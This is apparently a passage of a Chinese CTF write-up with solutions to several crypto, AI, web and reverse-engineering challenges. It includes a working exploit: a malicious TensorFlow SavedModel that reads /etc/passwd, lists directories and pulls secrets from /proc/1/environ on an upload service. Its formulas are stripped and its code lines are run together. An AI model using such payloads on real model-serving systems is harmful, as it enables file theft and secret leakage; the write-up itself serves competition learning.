为了使 small_roots 成功,我们需要调整参数。经过测试,beta=0.48 和 epsilon=0.02 可以成功找到根。
# 关键 SageMath 代码片段P.<x> = PolynomialRing(Zmod(n2))# 将 f(x) 变为首一多项式 (monic) 更有利于求解inv_2_56 = inverse_mod(2^56, n2)c0 = ((gift << 262) + p2_low) * inv_2_56f = x + c0
# 求解roots = f.small_roots(X=2^208, beta=0.48, epsilon=0.02)x0 = roots[0]p2 = (gift << 262) + (Integer(x0) << 56) + p2_low4. 解密 m2
分解出 p2 后:
结果:
解密得到 m2 为 crafts_RSA_challenges}。
Sign_in
from Crypto.Util.number import *from gmpy2 import *import random
get_context().precision = 2048
L = 5S = getPrime(144)a = getPrime(32)b = random.randint(0, S - 1)
def split_and_pad_single_char_rule(msg, L): segments = [] assert L >= 1 pad_len = L - 1 for char_idx, char_byte in enumerate(msg): char_ascii = char_byte pad_bytes = bytes([(char_ascii + i + 1) % 256 for i in range(pad_len)]) seg_bytes = bytes([char_byte]) + pad_bytes segments.append(bytes_to_long(seg_bytes)) return segments
def encrypt_segment(m_i, a, b, M): return (a * m_i + b) % M
flag = "flag{___________________}"msg_bytes = flag.encode()m_segments = split_and_pad_single_char_rule(msg_bytes, L)c_segments = [encrypt_segment(mi, a, b, S) for mi in m_segments]
print(f"a = {a}")print(f"S = {S}")print(f"L = {L}")print(f"C = {c_segments}")print(f'M = {m_segments}')
'''a =S =L =C ='''- 填充规则 (Padding)
代码定义了一个函数 split_and_pad_single_char_rule(msg, L)。
- 对于消息中的每一个字符
char_byte:- 它会生成
L-1个填充字节。 - 填充规则是:
pad_bytes[i] = (char_ascii + i + 1) % 256。 - 最后将原始字符和填充字节拼接成一个长度为
L的字节串。 - 使用
bytes_to_long将其转换为大整数。
- 它会生成
这意味着每个明文块 实际上只包含一个有意义的字符信息,其余是由该字符确定的填充。
2. 加密算法
加密函数 encrypt_segment(m_i, a, b, M) 使用了线性同余(仿射变换)的方式:
其中:
- 是一个 32 位的素数(题目已给出具体值)。
- 是一个 144 位的素数(题目已给出具体值)。
- 是一个随机整数 (未知,题目未直接给出)。
- 是经过填充后的明文块整数。
3. 已知信息
题目输出了:
- 密文列表
步骤一:恢复未知参数
虽然 是随机生成的,但加密过程对于所有字符块使用的是同一个 。 这是一个典型的已知明文攻击 (Known Plaintext Attack) 场景。
我们知道 flag 的格式通常为 flag{...}。因此,明文的第一个字符一定是 'f'。
- 根据题目中的 padding 规则,我们可以计算出字符
'f'对应的明文整数 。 - 我们拥有对应的密文 (即列表
C中的第一个元素)。 - 根据加密公式 ,我们可以推导出:
步骤二:解密所有片段
一旦我们恢复了 ,我们就拥有了完整的私钥 。 对于任意密文 ,解密公式为:
其中 是 模 的乘法逆元。
计算出 后,将其转换回字节串。根据 padding 规则,字节串的第一个字节即为原始的明文字符。
Exp
from Crypto.Util.number import bytes_to_long, long_to_bytes
# 题目给出的参数a = 3517115977S = 13338196046628817705384101887069807236659077L = 5C = [ 6399813929853868574459915097120849511644924, 6399813929853868574460006087942330564102834, 6399813929853868574459839271436281967929999, 6399813929853868574459930262257763020387909, 6399813929853868574460233564996033195247609, 6399813929853868574460112243900725125303729, 6399813929853868574459111344864433548266719, 6399813929853868574459930262257763020387909, 6399813929853868574460036418216157581588804, 6399813929853868574459808941162454950444029, 6399813929853868574459111344864433548266719, 6399813929853868574460036418216157581588804, 6399813929853868574459808941162454950444029, 6399813929853868574460127409037638634046714, 6399813929853868574459096179727520039523734, 6399813929853868574459930262257763020387909, 6399813929853868574459899931983936002901939, 6399813929853868574460127409037638634046714, 6399813929853868574459945427394676529130894, 6399813929853868574459172005412087583238659, 6399813929853868574460097078763811616560744, 6399813929853868574459808941162454950444029, 6399813929853868574460188069585292669018654, 6399813929853868574459960592531590037873879, 6399813929853868574460188069585292669018654, 6399813929853868574459960592531590037873879, 6399813929853868574460263895269860212733579]
def get_m_for_char(char_byte, L): """重现题目中的 padding 逻辑""" pad_len = L - 1 char_ascii = char_byte # 构造 padding pad_bytes = bytes([(char_ascii + i + 1) % 256 for i in range(pad_len)]) # 拼接首字节和 padding seg_bytes = bytes([char_byte]) + pad_bytes return bytes_to_long(seg_bytes)
# 1. 恢复参数 b# 利用已知明文攻击:Flag 的第一个字符是 'f'm0 = get_m_for_char(ord('f'), L)c0 = C[0]
# 由 c0 = (a * m0 + b) % S 推导:b = (c0 - a * m0) % Sprint(f"[+] Recovered b: {b}")
# 2. 解密所有片段# 计算 a 的模逆元try: a_inv = pow(a, -1, S)except ValueError: print("[-] Inverse of a does not exist mod S") exit()
decrypted_flag = ""for c in C: # 解密公式:m = a^-1 * (c - b) % S m = (a_inv * (c - b)) % S
# 转回 bytes,取第一个字节 seg_bytes = long_to_bytes(m)
# 注意:long_to_bytes 可能会丢弃前导 0 字节,虽然这里不太可能发生(因为 padding 不为 0) # 但为了严谨,可以补齐长度 if len(seg_bytes) < L: seg_bytes = b'\x00' * (L - len(seg_bytes)) + seg_bytes
decrypted_flag += chr(seg_bytes[0])
print(f"[+] Flag: {decrypted_flag}")1ZRSA
from Crypto.Util.number import *from gmpy2 import *import random
def RSA(m,nbit): while True: p, q, e = getPrime(nbit), getPrime(nbit), getPrime(nbit) n = p * q phi_n = (p - 1) * (q - 1) d = int(inverse(e, phi_n)) if len(bin(d)[2:]) == 1024: break
keep_bits = nbit * 2 - 100 mask = int((1 << keep_bits) - 1) d_ = d & mask c = powmod(m, e, n) return c,n,e,d_
def gen(nbit):
c, n, e, d_ = RSA(m, nbit) N = getPrime(nbit * 2) t = random.randint(1, nbit * 2 - 1) C = [random.randint(0, N - 1) for _ in range(t - 1)] + [powmod(d_,1,N)] R.<x> = GF(N)[] f = R(0) for i in range(t): f += x ** (t - i - 1) * C[i] enc = [(a, f(a)) for a in [random.randint(1, N - 1) for _ in range(t)]]
with open("output.txt", "w", encoding="utf-8") as f_out: f_out.write(f"c = {c}\n") f_out.write(f"n = {n}\n") f_out.write(f"e = {e}\n") f_out.write(f"N = {N}\n") f_out.write(f"enc = {enc}\n")
flag = "flag{-------------------------------}"m = bytes_to_long(flag.encode())
if __name__ == "__main__": gen(512)题目提供了 RSA 加密系统的参数:密文 、模数 、公钥指数 (512位),以及一组关于私钥 的多项式分享值 enc 和对应的模数 。
题目主要分为两个阶段:
- 利用拉格朗日插值法恢复私钥 的低位部分 。
- 利用 Coppersmith (Herrmann-May) 攻击,结合已知的 恢复 的因子 ,从而恢复完整的私钥并解密。
第一步:恢复 的低位 ()
题目给出的 enc 是在模 下的多项式分享值。根据 Shamir 秘密分享的原理,常数项即为秘密值。由于题目给出了足够多的点 ,我们可以直接在有限域 上使用拉格朗日插值法求出 。
关键代码 (SageMath):
# 参见 solve_step1.sagedef get_d_part(enc, N): nums = [val[0] for val in enc] vals = [val[1] for val in enc] k = len(enc) d_part = 0 R = Zmod(N)
# 拉格朗日插值公式 for i in range(k): xi = nums[i] yi = vals[i] numerator = R(1) denominator = R(1) for j in range(k): if i != j: xj = nums[j] numerator *= R(-xj) denominator *= R(xi - xj) term = R(yi) * numerator * (1/denominator) d_part += term return int(d_part)恢复出的 长度为 924 bit。
第二步:构建 Coppersmith 攻击模型
已知 RSA 密钥方程:
其中 。令 ,则 。 方程变为:
我们将私钥 分解为高位 和低位 :
代入原方程:
移项整理:
观察上式,右边是 的倍数。因此我们可以构造一个模方程:
这是一个二元模多项式方程。令 ,模数 ,多项式为:
我们需要找到 的小根 。 其中:
- 的大小约为 (512 bit)。
- 的大小约为 (512 bit)。
- 模数 bit。
这符合 Herrmann-May 攻击的使用场景(求解带有未知模数因子的线性方程,或者此处直接视为模 下的二元方程求解)。
第三步:格基规约求解 (Lattice Reduction)
我们使用 Coppersmith 方法构建格。 构造移位多项式:
选取参数 ,构建格矩阵并使用 LLL 算法进行规约。 规约后,提取格基中最短的两个向量对应多项式 。 计算 (关于 的结式) 消除变量 ,得到关于 (即 ) 的一元多项式。 求解该多项式的根,即可得到 。
关键代码 (solve_step14.sage):
m = 6t = 3PR = PolynomialRing(ZZ, names=('y', 'z'))y, z = PR.gens()f = y * (n - z) - e * d_low + 1Mod = e * 2**924
# ... (构建格矩阵并 LLL 规约) ...
# 求解结式h = f1.resultant(f2, y)roots = h.univariate_polynomial().monic().roots()第四步:分解 与解密
得到 后,我们可以轻易求出 :
构造一元二次方程:
解方程得到两个根即为 和 。 进而计算私钥 并解密密文。
delta = (s + 1)**2 - 4 * ndelta_sqrt = delta.isqrt()q = (s + 1 + delta_sqrt) // 2p = n // qd = inverse_mod(e, (p-1)*(q-1))m = power_mod(c, d, n)exp
from sage.all import *import timeimport refrom Crypto.Util.number import long_to_bytes
def solve(): # Load data if os.path.exists('output.txt'): with open('output.txt', 'r') as f: content = f.read() n_match = re.search(r'n = (\d+)', content) c_match = re.search(r'c = (\d+)', content) e_match = re.search(r'e = (\d+)', content)
n = Integer(n_match.group(1)) c = Integer(c_match.group(1)) e = Integer(e_match.group(1)) else: print("output.txt not found") return
if os.path.exists('d_low.txt'): with open('d_low.txt', 'r') as f: d_low = Integer(f.read().strip()) else: d_low = 73679547762758907310076446274562776194202519367884037643715953242934145935677974011667669228912277576799256237051335084262460583763144680637218032833174262135127831256068751475905595967306961059198264080423330034299629317100845637335317944239994339909428725631366533360608531557
print("Running Coppersmith Attack...")
leak = 924 M_shift = 2**leak
# k approx e Y = 2**512 # s approx sqrt(n) Z = int(3 * n**0.5)
# Parameters m = 6 # Increased t = 3 # Increased
print(f"m={m}, t={t}")
poly = [] monomials = set()
PR = PolynomialRing(ZZ, names=('y', 'z')) y, z = PR.gens()
# f = k(n-s) - e*d_low + 1 # y = k, z = s f = y * (n - z) - e * d_low + 1
# Modulus = e * M_shift Mod = e * M_shift
# Generate polynomials # g_ij = y^j * (Mod)^i * f^(m-i)
for i in range(m + 1): for j in range(i + 1): # x-shifts? y is k. # In reference: y^j # k shifts. g = y**j * (Mod)**i * f**(m - i) poly.append(g) for mono in g.monomials(): monomials.add(mono)
# h_ij = z^j * (Mod)^i * f^(m-i) # s shifts for i in range(m + 1): for j in range(1, t + 1): h = z**j * (Mod)**i * f**(m - i) poly.append(h) for mono in h.monomials(): monomials.add(mono)
monomials = sorted(monomials) dim = len(poly) print(f"Lattice dimension: {dim} x {len(monomials)}")
# Build matrix mat = Matrix(ZZ, dim, len(monomials))
for row, p in enumerate(poly): for col, mono in enumerate(monomials): mat[row, col] = p.monomial_coefficient(mono) * mono(Y, Z)
# Reduce print("LLL reduction...") st = time.time() L = mat.LLL() et = time.time() print(f"LLL time: {et - st:.2f}s")
# Extract polynomials # We need 2 shortest vectors vec1 = L[0] vec2 = L[1]
f1 = 0 for idx, mono in enumerate(monomials): f1 += (vec1[idx] // mono(Y, Z)) * mono
f2 = 0 for idx, mono in enumerate(monomials): f2 += (vec2[idx] // mono(Y, Z)) * mono
print("Solving resultants...")
# Resultant w.r.t y (k) # Eliminate y try: h = f1.resultant(f2, y)
# Roots of h(z) -> s roots = h.univariate_polynomial().monic().roots()
for r, _ in roots: s_cand = Integer(r) print(f"Found candidate s: {s_cand}")
# Check s # n = p*q = (s+1-q)*q = s*q + q - q^2 # q^2 - (s+1)q + n = 0
delta = (s_cand + 1)**2 - 4 * n if delta.is_square(): print("Valid s found!") # Recover p, q delta_sqrt = delta.isqrt() q = (s_cand + 1 + delta_sqrt) // 2 p = n // q
phi = (p - 1) * (q - 1) d = inverse_mod(e, phi)
m_msg = power_mod(c, d, n) print(f"Flag: {long_to_bytes(int(m_msg)).decode(errors='ignore')}") return except Exception as ex: print(f"Error solving resultant: {ex}")
if __name__ == '__main__': solve()Abg
from Crypto.Util.number import *
def ECC(bit): g = getPrime(bit) a = getPrime(bit) b = getPrime(bit)
E = EllipticCurve(GF(g),[a,b]) J = E.random_point() K = E.random_point() L = E.random_point()
r = getPrime(bit // 2) k = getPrime(16)
s = r * J s1 = r * J + k * L s2 = r * k * J
return L.xy(), s.xy(), s1.xy(), s2.xy(), K.xy()
def RSA(m, s, bit): p = getPrime(bit) q = getPrime(bit) rr = getPrime(bit) n = p * q
gift = pow(rr, rr * (p-1), n) enc = pow(m, int(s), n)
return gift, n, enc
flag = "flag{--------------------------------}"m = bytes_to_long(flag.encode())
L, s, s1, s2, K = ECC(256)gift, n, enc = RSA(m, abs(int(s[0] - s[1])), 512)
print("L =", L)print("s1 =", s1)print("s2 =", s2)print("K =", K)print("enc =", enc)print("gift =", gift)print("n =", n)
'''L =s1 =s2 =K =enc =gift =n ='''这道题目结合了椭圆曲线密码学 (ECC) 和 RSA 算法。题目提供了一个 Sage 脚本 abg.sage 的输出,我们需要从中恢复 Flag。
1. ECC 部分
题目定义了椭圆曲线 ,并给出了四个点 的坐标。 生成过程如下:
- 是 位的随机素数(题目中 )。
- 是曲线上的随机点。
- 是随机数, 是 16 位的随机素数。
我们的目标是恢复曲线参数 以及点 的坐标。
2. RSA 部分
题目给出了 RSA 的相关参数:
- ,其中
我们需要利用 gift 分解 ,并利用 ECC 部分恢复出的 计算私钥解密。
第一步:恢复椭圆曲线参数
由于题目给出了曲线上的四个点,我们可以利用点坐标满足曲线方程的性质来恢复模数 。 曲线方程为: 移项得: 令 ,则有 。
对于任意两点 ,有:
对于任意三点 ,我们可以消去 : 两式相减,右边为 0,即:
这意味着计算出的值是 的倍数。利用多组点对计算该值,并求最大公约数 (GCD),即可恢复出 。 得到 后,代入 和 即可求出 和 。
第二步:爆破 并恢复
根据题目逻辑: 消去 ,得:
由于 是 16 位的素数,范围非常小 ()。我们可以遍历所有可能的 ,验证上述等式是否成立。 找到正确的 后,计算 。 最后计算 RSA 的公钥指数 。
第三步:利用 gift 分解
题目给出 。 根据费马小定理,对于素数 ,有 。 因此,。 这说明 是 的倍数。 我们可以通过计算 直接求出 。 然后 。
第四步:RSA 解密
有了 ,我们可以计算私钥 : 将 转换为字节串即为 Flag。
Exp
from Crypto.Util.number import *
# 数据填入 (略)L = ...s1 = ...s2 = ...K = ...enc = ...gift = ...n = ...
# 1. 恢复 ECC 参数pts = [L, s1, s2, K]polys = []for i in range(len(pts)): x1, y1 = pts[i] v1 = y1^2 - x1^3 for j in range(i + 1, len(pts)): x2, y2 = pts[j] v2 = y2^2 - x2^3 for k in range(j + 1, len(pts)): x3, y3 = pts[k] v3 = y3^2 - x3^3 val = (v1 - v2) * (x2 - x3) - (v2 - v3) * (x1 - x2) if val != 0: polys.append(abs(val))
g = polys[0]for val in polys[1:]: g = gcd(g, val)
print(f"Recovered g: {g}")
# 计算 a, bx1, y1 = pts[0]x2, y2 = pts[1]v1 = y1^2 - x1^3v2 = y2^2 - x2^3a = (v1 - v2) * inverse_mod(x1 - x2, g) % gb = (v1 - a * x1) % g
E = EllipticCurve(GF(g), [a, b])PL = E(L)Ps1 = E(s1)Ps2 = E(s2)
# 2. 爆破 kprint("Brute forcing k...")found_k = Nonefor k in range(1, 65536): try: # 验证 k * (s1 - k*L) == s2 if k * Ps1 - k * k * PL == Ps2: found_k = k print(f"Found k: {k}") break except: continue
# 恢复 sPs = Ps1 - found_k * PLs_coords = Ps.xy()s_val = abs(int(s_coords[0] - s_coords[1]))
# 3. RSA 分解p = gcd(gift - 1, n)q = n // pprint(f"p: {p}")print(f"q: {q}")
# 4. 解密d = inverse_mod(s_val, (p - 1) * (q - 1))m_int = power_mod(enc, d, n)flag = long_to_bytes(m_int)print(f"Flag: {flag}")Artificial Intelligence
Contaminated-data
题目分析
题目提供了两个文件:
c.npy: 一个形状为(4, 76)的二进制数组(元素为 0 和 1)。这代表了一个被“污染”或带有噪声的数据状态。weights.npy: 一个形状为(304, 304)的浮点数权重矩阵。
初步观察
- 权重矩阵的维度
304正好等于4 * 76,说明它是对展平后的状态向量进行操作的。 - 检查
weights.npy发现矩阵是对称的(),且对角线元素全为 0。 - 这种结构(对称且零对角线)是 Hopfield Network(霍普菲尔德网络) 的典型特征。Hopfield 网络是一种能够作为联想存储器的递归神经网络,它可以根据部分或受损的输入恢复出存储的完整模式。
解题思路
既然识别出这是 Hopfield 网络,且题目名为 “Contaminated-data”,我们的目标就是利用给定的权重矩阵,将受污染的状态 c 恢复到网络存储的稳定状态(Stable State)。
Hopfield 网络的神经元状态更新规则如下:
其中 通常取值为 。
步骤
- 加载
c.npy和weights.npy。 - 将
c展平并转换为双极性状态(将 0 映射为 -1,1 保持为 1,或者直接处理 0/1,取决于具体实现,但标准 Hopfield 使用 -1/1)。 - 反复应用更新规则,直到状态不再发生变化(收敛)。
- 将收敛后的状态还原为
(4, 76)的形状并可视化。
exp:
import numpy as np
# 1. 加载数据c = np.load('c.npy')weights = np.load('weights.npy')
# 2. 预处理# 将 0/1 转换为 -1/1 以符合 Hopfield 网络标准操作state = c.flatten()state = np.where(state == 0, -1, 1)
# 3. 迭代恢复print("开始恢复状态...")for i in range(20): # 计算激活值: W * s activation = weights @ state
# 应用符号函数 sign new_state = np.sign(activation)
# 处理 sign(0) 的情况,防止变成 0 new_state[new_state == 0] = 1
# 检查是否收敛 diff = np.sum(new_state != state) print(f"Iteration {i+1}: changed {diff} bits")
if diff == 0: print("状态已收敛!") break state = new_state
# 4. 可视化结果# 将 -1/1 转回 0/1recovered_bits = np.where(state == -1, 0, 1)grid = recovered_bits.reshape(4, 76)
print("\n恢复后的图案:")for row in grid: # 使用 # 和空格打印,便于人眼识别 print("".join(["#" if x == 1 else " " for x in row]))结果分析
运行上述脚本后,我们得到如下字符网格:
## # # ## # ## # ## # # ## # # # # # # # ## ## ## # # # # # # # # # # # ## # # # # ## # # # # # ### # ## ## # ## # # # # # # ## # # # # # # # # ## ## # # ## # # ## ## # ## # # # ## ## # # # ## # # # #人工识别这些像素点组成的字符:
FLAG{FLOVE_(下划线)ALL_(下划线)HURT- H:
#.#,##,#.#,#.# - U:
#.#,#.#,#.#,## - R:
##,#.#,#.,#.# - T:
##,.#.,.#.,.#.
- H:
}
组合起来得到 Flag。
Modelscope
1.页面功能
- 允许用户上传一个
.zip文件。 - 后端会解压这个 zip 包。
- 使用 TensorFlow 的
tf.saved_model.load加载模型。 - 调用签名为
serve的函数,传入一个测试张量tf.constant([[1.0]])。 - 打印并返回推理结果。
核心代码逻辑推测如下:
import tensorflow as tf# ... 解压 zip 到 tmpdir ...loaded_model = tf.saved_model.load(tmpdir)signature = loaded_model.signatures['serve']result = signature(tf.constant([[1.0]], dtype=tf.float32))print(result['prediction'].numpy())漏洞原理
TensorFlow 的计算图(Graph)功能非常强大,它不仅包含数学运算,还包含了文件 I/O 操作(如 tf.io.read_file)。
当攻击者构造一个恶意的 SavedModel,在计算图中定义了读取文件的操作,并将其作为模型的输出返回时,服务端在执行模型推理的过程中,就会真正地去执行这个文件读取操作,并将文件内容作为结果返回给攻击者。
这导致了 任意文件读取漏洞 (Arbitrary File Read)。
4. 解题步骤
4.1 环境准备与漏洞验证
首先,我们需要在本地编写 Python 脚本来生成一个恶意的 TensorFlow 模型。
目标: 读取 /etc/passwd 验证漏洞。
import tensorflow as tf
class MyModel(tf.Module): def __init__(self): super(MyModel, self).__init__() self.v = tf.Variable(1.0)
@tf.function(input_signature=[tf.TensorSpec(shape=[None, 1], dtype=tf.float32)]) def __call__(self, x): # 构造恶意操作:读取 /etc/passwd content = tf.io.read_file("/etc/passwd") # 将文件内容 reshape 后返回 return {'prediction': tf.reshape(content, [1])}
model = MyModel()# 保存模型,指定签名为 servetf.saved_model.save(model, "saved_model", signatures={'serve': model.__call__})操作:
- 运行脚本生成
saved_model文件夹。 - 将文件夹打包为
model.zip。 - 上传到题目网站。
结果: 页面成功回显了 /etc/passwd 的内容,漏洞验证成功。
4.2 信息收集
尝试直接读取 /flag 失败,返回 “No such file or directory”。
我们需要探测目标环境的文件结构。利用 tf.io.matching_files 可以列出文件。
Payload 修改:
content = tf.io.matching_files("/app/*")结果:
/app/app.py/app/start.sh/app/templates/app/uploads4.3 深入分析
发现关键文件 start.sh,读取它以了解 Flag 的处理逻辑。
Payload 修改:
content = tf.io.read_file("/app/start.sh")start.sh 内容分析:
#!/bin/bashFLAG_PATH=/flagFLAG_MODE=M_ECHOif [ ${ICQ_FLAG} ];then # ... echo -n ${ICQ_FLAG} > ${FLAG_PATH} # ... echo [+] ICQ_FLAG OK unset ICQ_FLAG # <--- 关键:Flag 环境变量在此处被删除else echo [!] no ICQ_FLAGfipython app.py &exec tail -f /dev/null分析结论:
- Flag 最初是由环境变量
ICQ_FLAG注入的。 - 脚本将其写入
/flag后,执行了unset ICQ_FLAG。 - 既然直接读取
/flag失败(可能是权限问题或文件系统问题),我们可以尝试找回这个环境变量。
4.4 终极利用
在 Linux (特别是 Docker 容器) 中,进程的初始环境变量存储在 /proc/[pid]/environ 文件中。
start.sh虽然 unset 了环境变量,但这只影响当前 shell 及其子进程的 当前 环境。- PID 1 进程(通常是容器的入口点)的
/proc/1/environ文件保留了容器启动时的原始环境变量,不受后续脚本 unset 的影响。
Payload 修改:
content = tf.io.read_file("/proc/1/environ")完整 EXP:
import tensorflow as tfimport os
class MyModel(tf.Module): def __init__(self): super(MyModel, self).__init__() self.v = tf.Variable(1.0)
@tf.function(input_signature=[tf.TensorSpec(shape=[None, 1], dtype=tf.float32)]) def __call__(self, x): content = tf.io.read_file("/proc/1/environ") return {'prediction': tf.reshape(content, [1])}
model = MyModel()tf.saved_model.save(model, "saved_model", signatures={'serve': model.__call__})REVERSE
Sign
1. 题目概览与初步分析
拿到题目文件 sign.apk 后,首先进行解包分析。APK 本质上是一个 ZIP 压缩包,我们可以直接解压。
unzip sign.apk -d unzipped在解压后的目录中,我们重点关注以下两个文件:
assets/qwqer:一个未知格式的二进制文件,内容看起来是乱码,极有可能被加密了。lib/arm64-v8a/libmyapplication.so:ARM64 架构的原生库文件,通常包含核心逻辑。
2. 第一层解密:AES
2.1 分析 libmyapplication.so
使用 IDA Pro 工具对 libmyapplication.so 进行静态分析。我们发现了一些有趣的字符串:
qwqer:对应 assets 目录下的文件名。p0l1st:看起来像是一个密码或密钥。- AES S-Box 相关常量:在文件中发现了 AES 加密的 S-Box 表,这强烈暗示了使用了 AES 加密算法。
2.2 尝试解密 qwqer
基于上述线索,我们猜测 assets/qwqer 文件是被 libmyapplication.so 加载并解密的。最可能的加密算法是 AES,密钥可能是 p0l1st。
由于 AES-128 的密钥长度必须是 16 字节,而 p0l1st 只有 6 字节,通常的做法是用 \0 (null byte) 填充至 16 字节。
我们编写脚本尝试解密:
- 算法:AES
- 模式:ECB (CTF 题目中常见,最简单的模式)
- 密钥:
p0l1st\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 - 输入:
assets/qwqer文件内容
解密成功!解密后的文件头标识为 ELF,说明这是一个 ELF 格式的共享库文件(.so)。
3. 第二层逆向:ELF 静态分析
我们将解密得到的 ELF 文件(命名为 decrypted_qwqer_aes)拖入 IDA 或使用 objdump 进行分析。
3.1 定位关键函数
在符号表中,我们找到了一个 JNI 函数:Java_com_qwq_ezapp_MainActivity_checkFlag。这是 Android 应用中典型的 Native 方法命名方式,说明它是用于检查 Flag 的核心函数。
3.2 分析 checkFlag 逻辑
通过反汇编代码,我们还原了 checkFlag 的主要逻辑:
-
目标数据解析: 函数中硬编码了一个长字符串:
1e86224f5efdbcb38252e24fffb382c90da769060f6eb7d5e77d3b9403cd5b28957bfd2270b963964f6fe2fe代码使用
sscanf函数配合%8x格式化字符串,循环将这个长字符串解析到一个uint32类型的数组中。- 注意:
sscanf%8x会将字符串 “1e86224f” 解析为数值0x1e86224f。在内存中,这相当于大端序(Big-Endian)的数值表示。
- 注意:
-
输入加密: 函数接收用户输入的字符串(即我们输入的 Flag),调用了一个名为
encrypt_string的内部函数对其进行处理。 -
比较验证: 将
encrypt_string的处理结果与上述解析出来的目标整数数组进行逐字节比较。如果完全一致,则 Flag 正确。
4. 算法分析与密钥提取
4.1 识别加密算法
进入 encrypt_string 函数分析,发现它调用了 xxtea_encrypt。
查看 xxtea_encrypt 的实现,发现了特征常数 0x9e3779b9 (Delta)。这是 XXTEA (Corrected Block TEA) 算法的标志性常数。
4.2 提取密钥
XXTEA 算法需要一个 128 位(16 字节)的密钥。
在 ELF 文件的 .rodata (只读数据段) 中,紧邻长十六进制字符串之前(偏移量 0x790),我们发现了一组 16 字节的数据:
cd ab 6b a5 f1 34 12 1f 78 56 34 12 98 ba dc fe
这正是 XXTEA 算法使用的密钥。
5. 编写解密脚本
为了获取 Flag,我们需要对目标数据进行逆向解密。 即:使用提取的密钥,对硬编码的十六进制数据进行 XXTEA 解密。
关键难点:端序 (Endianness) 这道题的难点在于正确处理数据的端序:
- 密文数据:源自
sscanf解析的十六进制串。例如 “1e86224f” ->0x1e86224f。这相当于大端序解析。因此解包密文时需用>I(Big-Endian unsigned int)。 - 密钥数据:源自内存直接加载。ARM64 架构是小端序。内存中的字节
cd ab 6b a5实际上代表整数0xa56babcd。因此解包密钥时需用<I(Little-Endian unsigned int)。 - 输出数据:解密后的明文是 ASCII 字符串。为了还原字符串顺序,需要将解密出的整数按小端序打包回字节流,即
<I。
exp:
import struct
def xxtea_decrypt(data_bytes, key_bytes): # 1. 解析密文数据:模拟 sscanf %8x 的行为,使用大端序 (>I) v = list(struct.unpack(f'>{len(data_bytes)//4}I', data_bytes))
# 2. 解析密钥数据:模拟内存加载,使用小端序 (<I) k = list(struct.unpack('<4I', key_bytes[:16]))
n = len(v) z = v[n-1] y = v[0] delta = 0x9e3779b9 q = 6 + 52 // n sum = (q * delta) & 0xffffffff
# XXTEA 解密核心循环 while sum != 0: e = (sum >> 2) & 3 for p in range(n-1, -1, -1): z = v[p-1] y = v[p] = (v[p] - (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (k[(p&3)^e]^z)))) & 0xffffffff sum = (sum - delta) & 0xffffffff
# 3. 打包明文数据:还原为字符串,使用小端序 (<I) return b''.join(struct.pack('<I', x) for x in v)
# 题目数据hex_str = "1e86224f5efdbcb38252e24fffb382c90da769060f6eb7d5e77d3b9403cd5b28957bfd2270b963964f6fe2fe"key_bytes = bytes.fromhex("cdab6ba5f134121f7856341298badcfe")
# 执行解密flag = xxtea_decrypt(bytes.fromhex(hex_str), key_bytes)
# 打印结果 (去除末尾填充的 null 字节)print(f"Flag: {flag.decode('utf-8', errors='ignore').strip(chr(0))}")Ezvm
-
静态分析与定位核心逻辑 :
- 通过 IDA 分析,定位到 main 函数调用了 sub_140005AA5 。
- sub_140005AA5 包含主要的控制流逻辑,它初始化了一个自定义的 虚拟机 (VM) 。
- 输入字符串被硬编码的密钥 “reverse1s3asy” 和用户输入共同作为 VM 的数据源。
-
VM 架构分析 :
- 分发器 (Dispatcher) : sub_140005AA5 中的 while 循环和 switch 语句负责执行 VM 指令。
- 指令处理 (Handler) : sub_140001AFC 是核心的指令执行函数,支持约 21 种操作码(Opcode 0-20),包括寄存器运算、内存读写和跳转。
- 字节码 (Bytecode) : sub_140001ECF 负责构建 VM 指令序列。
-
算法识别 :
- 在分析 sub_140001ECF 生成的指令序列时,发现了特征常数 0x9E3779B9 。
- 结合移位、异或和加法操作,确认该 VM 实现的是 XXTEA 加密算法 。
- VM 将用户输入作为数据, “reverse1s3asy” 作为密钥进行加密。
-
数据提取 :
- 密钥 (Key) : reverse1s3asy (硬编码在程序中)。
- 密文 (Target) :在 ezvm.exe 中提取了用于校验的 24 字节加密数据: 0x792B1077BA1A9983 , 0x68F0470C3D5B128C , 0x20633CE256DD5F08 。
-
解密 :
- 编写了 Python 脚本 decrypt.py ,使用标准的 XXTEA 解密算法,用提取的密钥解密目标密文,直接还原出了 Flag。
exp
你可以在当前目录下找到生成的解密脚本 /Users/sinqwq/Downloads/file/decrypt.py ,其核心逻辑如下:
import struct
def xxtea_decrypt(data, key, padding=False): if isinstance(data, str): data = data.encode() if isinstance(key, str): key = key.encode()
# Pad key to 16 bytes if len(key) < 16: key = key.ljust(16, b'\0')
# Convert data to uint32 array v = list(struct.unpack('<%dI' % (len(data) // 4), data)) k = list(struct.unpack('<4I', key[:16]))
n = len(v) delta = 0x9E3779B9 q = 6 + 52 // n sum = (q * delta) & 0xFFFFFFFF
y = v[0] while sum != 0: e = (sum >> 2) & 3 for p in range(n - 1, 0, -1): z = v[p - 1] v[p] = (v[p] - (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum ^ y) + (k[(p & 3) ^ e] ^ z)))) & 0xFFFFFFFF y = v[p]
p = 0 z = v[n - 1] v[0] = (v[0] - (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum ^ y) + (k[(p & 3) ^ e] ^ z)))) & 0xFFFFFFFF y = v[0]
sum = (sum - delta) & 0xFFFFFFFF
return b''.join(struct.pack('<I', x) for x in v)
# Targettarget_hex = [ 0x792B1077BA1A9983, 0x68F0470C3D5B128C, 0x20633CE256DD5F08]target_bytes = b''for q in target_hex: target_bytes += struct.pack('<Q', q)
# Keykey = b"reverse1s3asy"
decrypted = xxtea_decrypt(target_bytes, key)print(f"Decrypted: {decrypted}")print(f"Hex: {decrypted.hex()}")try: print(f"ASCII: {decrypted.decode()}")except: passStrange encryption algorithm
2.Java 层分析
2.1 入口点 MainActivity
通过分析 MainActivity.java,我们梳理出 Flag 的校验流程:
- 输入格式: Flag 必须以
flag{开头,以}结尾。 - 长度检查: 花括号内的内容长度必须为 32 字符。
- 分割: 内容被分为两部分,每部分 16 字符:
s1: 前 16 字符。s2: 后 16 字符。
- 加密流程:
s1经过Enc.Encrypt(s1)加密,得到cipherHex1。s2经过Enc0.testNative(s2)加密,得到cipherHex2。- 拼接两者:
cypher = cipherHex1 + cipherHex2。 - 整体经过
b.mYstery(Enc.key, Enc.IV, cyphered)进行二次加密。
- 校验: 最终结果与
Check.java中的硬编码哈希比对。
